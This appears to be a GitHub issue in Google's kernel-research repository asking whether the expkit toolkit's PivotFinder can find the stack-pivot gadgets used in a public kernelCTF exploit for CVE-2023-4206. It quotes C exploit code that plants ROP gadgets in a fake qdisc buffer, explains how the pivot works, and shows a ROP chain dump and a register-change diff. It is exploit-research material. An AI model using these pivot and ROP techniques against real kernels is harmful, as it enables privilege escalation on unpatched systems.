google / google/kernel-research

expkit: Investigate if PivotFinder could be improved to find more gadgets based on the original stack pivot from exp65.

Open
#33 1 comment 0 reactions 1 assignee Claimed by @chanijindal1 View on GitHub
Dominant language
C++
Stars
90
Forks
15
PR merge metrics
No merged PRs in 30d

Description

The original [exp65](https://github.com/google/security-research/blob/f102f0bad048368076affc692c6a0ceacba6eabd/pocs/linux/kernelctf/CVE-2023-4206_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit.c#L663) for `lts-6.1.36` uses the following code to put a stack pivot into buffer:

```c
void prepare_fake_qdisc(char *buf)
{
/*
lea rdi, [rax + 0x20]
mov rax, qword ptr [rax + 0x30]
jmp __x86_indirect_thunk_rax
*/
uint64_t g1 = kaddr(G1);

// 0xffffffff81df4175: push rdi ; jmp qword [rsi+0x0F]
uint64_t g2 = kaddr(PUSH_RDI_JMP_QWORD_RSI_0F);

*(uint64_t *) (buf) = g1;
*(uint64_t *) (buf + 0xF) = kaddr(POP_RSP);
*(uint64_t *) (buf + 0x30) = g2;
uint64_t *rop = (uint64_t *) (buf+0x20);

#define ROP2_MMAP_SIZE 0x4000
g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0);
if (g_rop2 == MAP_FAILED)
err(1, "mmap");

size_t rop2_len = prepare_rop2((uint64_t *) g_rop2);

if (rop2_len > ROP2_CONST_OFFSET)
err(1, "Stage 2 ROP size too big: %d > %d\n", rop2_len, ROP2_CONST_OFFSET);

*rop++ = kaddr(POP_RSI_RDX_RCX);
*rop++ = (uint64_t) g_rop2;
```

basically when the vulnerability is triggered an address `uint64_t g1 = kaddr(G1);` is called first. This address is hardcoded in header file [kernelver_6.1.36.h](https://github.com/google/security-research/blob/f102f0bad048368076affc692c6a0ceacba6eabd/pocs/linux/kernelctf/CVE-2023-4206_lts_cos_mitigation_2/exploit/lts-6.1.36/kernelver_6.1.36.h#L21). By `G1` address we find a gadget which is mentioned by researcher in comment:

```asm
lea rdi, [rax + 0x20]
mov rax, qword ptr [rax + 0x30]
jmp __x86_indirect_thunk_rax
```

`G1` gadget stores in `rdi` pointer to `rax + 0x20` and jumps to `rax + 0x30`. RAX contains address of our buffer, essentially this `char *buf`. When we jump to `rax + 0x30` we get a pointer to second gadget:

```c
// 0xffffffff81df4175: push rdi ; jmp qword [rsi+0x0F]
uint64_t g2 = kaddr(PUSH_RDI_JMP_QWORD_RSI_0F);

*(uint64_t *) (buf) = g1;
*(uint64_t *) (buf + 0xF) = kaddr(POP_RSP);
*(uint64_t *) (buf + 0x30) = g2;
uint64_t *rop = (uint64_t *) (buf+0x20);
```

the second gadget (`G2`) is also provided by researcher in comment and it places `rdi` contents on the stack and jumps to `rsi+0x0F`. `rsi` is the same as `rax` and contains pointer to the beginning of our buffer (it's `char *buf`). And the 3rd gadget is `*(uint64_t *) (buf + 0xF) = kaddr(POP_RSP);` which basically assigns `rsp` to `rdi` ((uint64_t *) (buf+0x20)). Then they place:

```c
*rop++ = kaddr(POP_RSI_RDX_RCX);
```
at the beginning of ROP to I guess throw away ` *(uint64_t *) (buf + 0x30) = g2;` and reach ROP.

When I try to simulate the same Stack Pivot with expkit, I use the following code:

```c
Payload payload(512);
payload.Reserve(0, 8);

PivotFinder pivot_finder(target.pivots, Register::RAX, payload);
auto rop_pivot = pivot_finder.PivotToRop(rop);
rop_pivot.PrintDebugInfo();
```

Unfortunately this results in the error, when I try `make run`:
```
Running command: /exp.sh 0xffffffff81000000
Running id and then the exploit: /exp 0xffffffff81000000
uid=1(user) gid=1(user) groups=1(user)
[+] Running on target: kernelctf lts-6.1.36
[*] Using provided kernel base: 0xffffffff81000000
Kernel base: 0xffffffff81000000
[+] ROP chain:
EA 21 00 81 FF FF FF FF 00 68 67 83 FF FF FF FF | .!.......hg.....
10 ED 1B 81 FF FF FF FF EA 21 00 81 FF FF FF FF | .........!......
01 00 00 00 00 00 00 00 00 56 1B 81 FF FF FF FF | .........V......
3D 79 24 81 FF FF FF FF 6C 25 00 81 FF FF FF FF | =y$.....l%......
C0 65 67 83 FF FF FF FF 80 D1 1B 81 FF FF FF FF | .eg.............
00 E9 18 81 FF FF FF FF EA 21 00 81 FF FF FF FF | .........!......
40 42 0F 00 00 00 00 00 E0 92 22 81 FF FF FF FF | @B........".....
terminate called after throwing an instance of 'ExpKitError'
what(): could not pivot
Aborted
```
The way I bypassed this restriction, I used RSI register. This is possible as RSI contains the same pointer as RAX. In fact, researcher uses both in two gadgets in their stack pivot, so maybe that's the reason why `PivotFinder` gives an error.

The code that utilises RSI is in samples: https://github.com/google/kernel-research/blob/main/expkit/samples/exp65/exploit.cpp

```sh
# diff -Naur exploit.cpp exploit_rax.cpp [16:49:17]
--- exploit.cpp 2025-04-08 16:49:15.281259794 +0200
+++ exploit_rax.cpp 2025-04-08 16:41:15.925771268 +0200
@@ -613,7 +613,7 @@
Payload payload(512);
payload.Reserve(0, 8);

- PivotFinder pivot_finder(target.pivots, Register::RSI, payload);
+ PivotFinder pivot_finder(target.pivots, Register::RAX, payload);
auto rop_pivot = pivot_finder.PivotToRop(rop);
rop_pivot.PrintDebugInfo();
```

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.